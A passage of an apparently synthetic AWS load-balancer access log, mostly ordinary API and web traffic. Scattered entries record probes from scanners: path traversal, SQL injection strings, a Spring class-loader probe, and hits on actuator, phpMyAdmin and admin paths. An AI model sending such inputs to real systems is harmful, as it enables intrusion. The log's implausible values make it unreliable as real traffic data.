Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c825-f72af6b9b236450ab150c6a4" "staging-alb.example.com" "-" 3 2024-11-01T01:10:45.452558Z "forward" "-" "-" "40.237.128.93:8080" "404" "-" "-" +https 2024-11-01T01:10:46.332519Z prod-api-alb 51.173.183.110:64277 10.0.49.69:443 0.045478 0.231500 0.055182 200 200 548 11905 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c826-e8bdf19d56a14f1688169427" "prod-api-alb.example.com" "-" 10 2024-11-01T01:10:46.332519Z "forward" "-" "-" "10.0.49.69:443" "200" "-" "-" +https 2024-11-01T01:10:47.909120Z prod-web-alb 204.137.64.254:33460 10.0.12.8:443 0.085094 0.360447 0.057860 200 200 396 12538 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c827-c17dd60b880c439daf80cb0b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:10:47.909120Z "forward" "-" "-" "10.0.12.8:443" "200" "-" "-" +http 2024-11-01T01:10:48.167073Z staging-alb 223.225.235.123:34666 124.128.190.227:8080 0.083699 0.637246 0.130357 200 200 185 13472 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c828-cd688026cf3149bd8229c8bd" "staging-alb.example.com" "-" 9 2024-11-01T01:10:48.167073Z "forward" "-" "-" "124.128.190.227:8080" "200" "-" "-" +https 2024-11-01T01:10:49.708540Z prod-api-alb 234.69.117.95:21274 10.0.199.103:443 0.035684 0.349290 0.052857 404 404 98 11375 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c829-80afbce3a67d4065ba4978ef" "prod-api-alb.example.com" "-" 2 2024-11-01T01:10:49.708540Z "forward" "-" "-" "10.0.199.103:443" "404" "-" "-" +https 2024-11-01T01:10:51.218352Z prod-web-alb 185.25.21.155:47757 10.0.47.11:443 0.095093 0.397108 0.002761 200 200 535 12348 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c82b-e4733888efc64b398b59f4a4" "prod-web-alb.example.com" "-" 4 2024-11-01T01:10:51.218352Z "forward" "-" "-" "10.0.47.11:443" "200" "-" "-" +https 2024-11-01T01:10:51.823810Z prod-web-alb 171.123.92.18:35377 10.0.65.233:443 0.058256 0.277943 0.050620 200 200 256 7806 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c82b-ea58ac2f293e477796a082a6" "prod-web-alb.example.com" "-" 4 2024-11-01T01:10:51.823810Z "forward" "-" "-" "10.0.65.233:443" "200" "-" "-" +https 2024-11-01T01:10:53.733177Z prod-web-alb 124.171.142.53:30294 10.0.242.255:443 0.084134 0.432261 0.001602 200 200 385 14987 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c82d-d41ca5deaf6b4cbe8929cc44" "prod-web-alb.example.com" "-" 9 2024-11-01T01:10:53.733177Z "forward" "-" "-" "10.0.242.255:443" "200" "-" "-" +https 2024-11-01T01:10:54.240660Z prod-web-alb 13.44.102.57:45167 10.0.161.218:443 0.058410 0.391186 0.040991 404 404 71 2177 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c82e-1335cab52dd94d15ac8eba20" "-" "-" 3 2024-11-01T01:10:54.240660Z "forward" "-" "-" "10.0.161.218:443" "404" "-" "-" +https 2024-11-01T01:10:55.457543Z prod-api-alb 237.240.145.173:18567 10.0.116.123:443 0.050363 0.349770 0.032568 301 301 640 6627 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c82f-09f77b93d85f4ebea0791f60" "prod-api-alb.example.com" "-" 10 2024-11-01T01:10:55.457543Z "forward" "-" "-" "10.0.116.123:443" "301" "-" "-" +https 2024-11-01T01:10:55.950128Z staging-alb 28.52.106.26:36489 250.70.155.109:443 0.102980 0.075537 0.053118 200 200 850 9758 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c82f-d837890da0b74571b5001a1d" "staging-alb.example.com" "-" 10 2024-11-01T01:10:55.950128Z "forward" "-" "-" "250.70.155.109:443" "200" "-" "-" +http 2024-11-01T01:10:56.123692Z staging-alb 232.129.190.66:14668 104.175.70.46:443 0.038070 0.692558 0.029447 200 200 424 11746 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c830-1f22befaeeb547669304613b" "staging-alb.example.com" "-" 0 2024-11-01T01:10:56.123692Z "forward" "-" "-" "104.175.70.46:443" "200" "-" "-" +https 2024-11-01T01:10:56.331843Z prod-web-alb 104.46.71.25:30692 10.0.228.118:443 0.084464 0.370733 0.082038 404 404 439 11794 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c830-73a822169e9645ada2f5b818" "prod-web-alb.example.com" "-" 0 2024-11-01T01:10:56.331843Z "forward" "-" "-" "10.0.228.118:443" "404" "-" "-" +https 2024-11-01T01:10:56.796248Z prod-api-alb 212.191.252.101:60052 10.0.161.199:443 0.085759 0.032035 0.063921 301 301 361 883 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c830-1709898af4f74dce9c93e092" "prod-api-alb.example.com" "-" 9 2024-11-01T01:10:56.796248Z "forward" "-" "-" "10.0.161.199:443" "301" "-" "-" +https 2024-11-01T01:10:58.511573Z prod-api-alb 194.150.119.76:25322 10.0.56.43:443 0.099005 0.492005 0.085550 200 200 681 5277 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c832-86d596e3996e4c3487219966" "prod-api-alb.example.com" "-" 0 2024-11-01T01:10:58.511573Z "forward" "-" "-" "10.0.56.43:443" "200" "-" "-" +https 2024-11-01T01:10:58.941567Z prod-web-alb 45.155.205.144:60280 10.0.199.85:443 0.079235 0.307227 0.071985 403 403 184 1664 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c832-72086cf1071e4a11a111ff76" "-" "-" 3 2024-11-01T01:10:58.941567Z "forward" "-" "-" "10.0.199.85:443" "403" "-" "-" +https 2024-11-01T01:11:00.249724Z prod-web-alb 253.180.244.90:35616 10.0.204.17:443 0.048498 0.030257 0.019836 200 200 587 906 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c834-641dc3260fba4d5198baaade" "prod-web-alb.example.com" "-" 2 2024-11-01T01:11:00.249724Z "forward" "-" "-" "10.0.204.17:443" "200" "-" "-" +https 2024-11-01T01:11:02.165889Z prod-api-alb 122.243.250.245:19889 10.0.74.196:443 0.086209 0.207974 0.092139 404 404 291 1688 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c836-2086b2efaf00415580caeb19" "prod-api-alb.example.com" "-" 10 2024-11-01T01:11:02.165889Z "forward" "-" "-" "10.0.74.196:443" "404" "-" "-" +https 2024-11-01T01:11:03.273864Z prod-web-alb 128.248.252.106:51452 10.0.129.29:443 0.038445 0.005213 0.064126 200 200 999 5691 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c837-dd17539afcf04da6ae221440" "prod-web-alb.example.com" "-" 10 2024-11-01T01:11:03.273864Z "forward" "-" "-" "10.0.129.29:443" "200" "-" "-" +https 2024-11-01T01:11:04.409434Z prod-api-alb 153.176.233.187:34571 10.0.229.162:443 0.077189 0.335853 0.011858 200 200 241 606 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c838-2773750875dd46e4ad476eb0" "prod-api-alb.example.com" "-" 0 2024-11-01T01:11:04.409434Z "forward" "-" "-" "10.0.229.162:443" "200" "-" "-" +https 2024-11-01T01:11:05.364999Z staging-alb 185.181.187.26:42322 149.177.230.148:80 0.046779 0.317033 0.000339 401 401 843 12021 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c839-e2bf9c4110814d5ea9816f3e" "-" "-" 10 2024-11-01T01:11:05.364999Z "forward" "-" "-" "149.177.230.148:80" "401" "-" "-" +https 2024-11-01T01:11:05.831956Z prod-api-alb 166.234.210.206:35062 10.0.245.230:443 0.039189 0.314764 0.076760 301 301 109 13854 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c839-edf4ac77bb094483a0bc4d7a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:05.831956Z "forward" "-" "-" "10.0.245.230:443" "301" "-" "-" +https 2024-11-01T01:11:07.699890Z staging-alb 63.185.120.16:35173 253.98.141.2:80 0.073408 0.712162 0.063708 200 200 993 13875 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c83b-62f02e03bd844ec49bdc73d2" "staging-alb.example.com" "-" 4 2024-11-01T01:11:07.699890Z "forward" "-" "-" "253.98.141.2:80" "200" "-" "-" +http 2024-11-01T01:11:09.169404Z staging-alb 0.202.10.180:41267 191.205.240.123:80 0.036324 0.716776 0.025518 404 404 579 14583 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c83d-81eff26f38124e7e8d57a3c7" "staging-alb.example.com" "-" 3 2024-11-01T01:11:09.169404Z "forward" "-" "-" "191.205.240.123:80" "404" "-" "-" +https 2024-11-01T01:11:11.061409Z prod-api-alb 45.155.205.139:63654 10.0.36.59:443 0.009724 0.081342 0.084924 403 403 351 8844 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c83f-24853057183c4d09a5246566" "-" "-" 2 2024-11-01T01:11:11.061409Z "forward" "-" "-" "10.0.36.59:443" "403" "-" "-" +https 2024-11-01T01:11:12.415502Z prod-web-alb 197.189.24.47:32401 10.0.146.33:443 0.035959 0.446779 0.073703 404 404 211 11383 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c840-ac8e9cb8f8b642058e74a678" "prod-web-alb.example.com" "-" 0 2024-11-01T01:11:12.415502Z "forward" "-" "-" "10.0.146.33:443" "404" "-" "-" +http 2024-11-01T01:11:13.987207Z staging-alb 185.181.73.18:22623 151.125.41.182:8080 0.146441 0.341809 0.034671 301 301 68 8742 "POST /phpmyadmin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c841-dc6322b191eb44578680e7ca" "-" "-" 8 2024-11-01T01:11:13.987207Z "forward" "-" "-" "151.125.41.182:8080" "301" "-" "-" +https 2024-11-01T01:11:14.762912Z prod-api-alb 250.239.208.115:13062 10.0.117.166:443 0.097538 0.285861 0.079332 302 302 456 4263 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c842-8c70136fac9c476d95796089" "prod-api-alb.example.com" "-" 10 2024-11-01T01:11:14.762912Z "forward" "-" "-" "10.0.117.166:443" "302" "-" "-" +https 2024-11-01T01:11:14.976712Z staging-alb 147.73.22.207:17489 73.30.73.123:80 0.113583 0.051736 0.085040 200 200 218 10678 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c842-ce342dffd10e42fb97d41077" "staging-alb.example.com" "-" 0 2024-11-01T01:11:14.976712Z "forward" "-" "-" "73.30.73.123:80" "200" "-" "-" +https 2024-11-01T01:11:16.908812Z prod-web-alb 156.85.230.64:41171 10.0.252.93:443 0.066761 0.289853 0.003362 301 301 555 1595 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c844-d13bbed8ee214c229b3ea38a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:11:16.908812Z "forward" "-" "-" "10.0.252.93:443" "301" "-" "-" +https 2024-11-01T01:11:17.737202Z prod-web-alb 37.91.132.47:25227 10.0.24.153:443 0.074302 0.368774 0.090309 301 301 960 658 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c845-a9ef966e4df54bef80cc62a9" "prod-web-alb.example.com" "-" 9 2024-11-01T01:11:17.737202Z "forward" "-" "-" "10.0.24.153:443" "301" "-" "-" +https 2024-11-01T01:11:18.939982Z prod-web-alb 254.210.115.101:57566 10.0.75.117:443 0.016885 0.245815 0.037465 200 200 78 7152 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c846-51f68e3defad4012a553911c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:11:18.939982Z "forward" "-" "-" "10.0.75.117:443" "200" "-" "-" +http 2024-11-01T01:11:20.606883Z staging-alb 163.167.204.225:19642 54.182.35.128:443 0.058056 0.716910 0.040157 200 200 388 4133 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c848-9bff8f154f0b4e059caa884c" "staging-alb.example.com" "-" 6 2024-11-01T01:11:20.606883Z "forward" "-" "-" "54.182.35.128:443" "200" "-" "-" +https 2024-11-01T01:11:22.402887Z prod-api-alb 98.225.115.41:55187 10.0.216.232:443 0.066783 0.370882 0.026143 301 301 95 4052 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c84a-a7ccdc21dd4341da998136fc" "prod-api-alb.example.com" "-" 4 2024-11-01T01:11:22.402887Z "forward" "-" "-" "10.0.216.232:443" "301" "-" "-" +https 2024-11-01T01:11:23.462803Z staging-alb 214.214.117.16:58405 105.113.59.243:443 0.141308 0.077325 0.138110 302 302 664 4965 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c84b-f0ed70993c8641e2bc857116" "staging-alb.example.com" "-" 4 2024-11-01T01:11:23.462803Z "forward" "-" "-" "105.113.59.243:443" "302" "-" "-" +https 2024-11-01T01:11:25.086788Z staging-alb 187.180.225.33:27953 2.230.112.97:443 0.109972 0.493602 0.085115 200 200 160 2355 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c84d-d408f9ca275e46f28ab0ea8f" "staging-alb.example.com" "-" 4 2024-11-01T01:11:25.086788Z "forward" "-" "-" "2.230.112.97:443" "200" "-" "-" +http 2024-11-01T01:11:25.741927Z staging-alb 185.181.147.41:62402 0.85.89.41:80 0.059021 0.207485 0.072812 403 403 729 9345 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c84d-5e8ff140f6494de280184735" "-" "-" 6 2024-11-01T01:11:25.741927Z "forward" "-" "-" "0.85.89.41:80" "403" "-" "-" +https 2024-11-01T01:11:26.377498Z prod-api-alb 33.86.100.96:32537 10.0.190.183:443 0.055589 0.048060 0.017512 302 302 523 9734 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c84e-4f5fc609bbf442e18990322b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:11:26.377498Z "forward" "-" "-" "10.0.190.183:443" "302" "-" "-" +http 2024-11-01T01:11:26.599154Z staging-alb 221.207.25.131:45800 242.105.56.228:443 0.053516 0.518419 0.110410 404 404 810 415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c84e-f562d2edec4b49c1b3b22799" "staging-alb.example.com" "-" 3 2024-11-01T01:11:26.599154Z "forward" "-" "-" "242.105.56.228:443" "404" "-" "-" +https 2024-11-01T01:11:27.032273Z prod-api-alb 193.27.228.118:62051 10.0.168.94:443 0.099997 0.308221 0.014192 500 500 534 10874 "POST /actuator/env HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c84f-12a724b02d144e6ebe2667c6" "-" "-" 1 2024-11-01T01:11:27.032273Z "forward" "-" "-" "10.0.168.94:443" "500" "-" "-" +https 2024-11-01T01:11:27.520280Z prod-api-alb 47.187.238.192:32237 10.0.81.90:443 0.056673 0.292330 0.063694 200 200 152 13175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c84f-0459f0babaf9449982c2a6d8" "prod-api-alb.example.com" "-" 8 2024-11-01T01:11:27.520280Z "forward" "-" "-" "10.0.81.90:443" "200" "-" "-" +https 2024-11-01T01:11:29.362309Z prod-api-alb 84.253.100.64:43060 10.0.241.216:443 0.040926 0.119075 0.045263 200 200 667 11923 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c851-96051d6943ab408dac0774d5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:29.362309Z "forward" "-" "-" "10.0.241.216:443" "200" "-" "-" +https 2024-11-01T01:11:30.966314Z prod-api-alb 202.218.251.60:39046 10.0.27.65:443 0.048839 0.221101 0.064726 404 404 161 2393 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c852-c514aacec86449388c415c5b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:11:30.966314Z "forward" "-" "-" "10.0.27.65:443" "404" "-" "-" +http 2024-11-01T01:11:32.145129Z staging-alb 185.181.76.214:14680 88.254.196.46:8080 0.127416 0.715026 0.111010 403 403 470 13180 "POST /login?id=1'-- HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c854-1cf140cc276b4683902beaab" "-" "-" 6 2024-11-01T01:11:32.145129Z "forward" "-" "-" "88.254.196.46:8080" "403" "-" "-" +https 2024-11-01T01:11:33.950665Z staging-alb 253.176.171.194:19107 249.85.142.7:8080 0.106246 0.372190 0.145302 301 301 567 5270 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c855-dbc14bcca6454881952d5dfc" "staging-alb.example.com" "-" 0 2024-11-01T01:11:33.950665Z "forward" "-" "-" "249.85.142.7:8080" "301" "-" "-" +https 2024-11-01T01:11:34.312577Z staging-alb 75.252.49.133:30824 184.177.254.8:80 0.116849 0.667630 0.021257 301 301 725 12240 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c856-ce43c44b7747420d8fc7ba50" "staging-alb.example.com" "-" 9 2024-11-01T01:11:34.312577Z "forward" "-" "-" "184.177.254.8:80" "301" "-" "-" +http 2024-11-01T01:11:36.266493Z staging-alb 209.17.9.57:17308 115.103.161.17:8080 0.077712 0.350869 0.106985 302 302 56 4009 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c858-6d7d70848d5b4c33826528d2" "staging-alb.example.com" "-" 6 2024-11-01T01:11:36.266493Z "forward" "-" "-" "115.103.161.17:8080" "302" "-" "-" +https 2024-11-01T01:11:36.964610Z prod-web-alb 244.141.36.92:24466 10.0.115.121:443 0.040735 0.068463 0.078352 302 302 862 11624 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c858-90c3f8de78a6409d8ecb69e7" "prod-web-alb.example.com" "-" 3 2024-11-01T01:11:36.964610Z "forward" "-" "-" "10.0.115.121:443" "302" "-" "-" +http 2024-11-01T01:11:37.126779Z staging-alb 171.185.89.7:26537 152.243.177.255:443 0.044770 0.039700 0.027570 200 200 660 3179 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c859-5dcf64398f47470daa3383a2" "staging-alb.example.com" "-" 10 2024-11-01T01:11:37.126779Z "forward" "-" "-" "152.243.177.255:443" "200" "-" "-" +https 2024-11-01T01:11:39.065487Z prod-web-alb 5.151.48.0:15916 10.0.134.209:443 0.011890 0.085172 0.069896 301 301 321 12475 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c85b-e591911342a2486891f66e2b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:11:39.065487Z "forward" "-" "-" "10.0.134.209:443" "301" "-" "-" +https 2024-11-01T01:11:40.899287Z 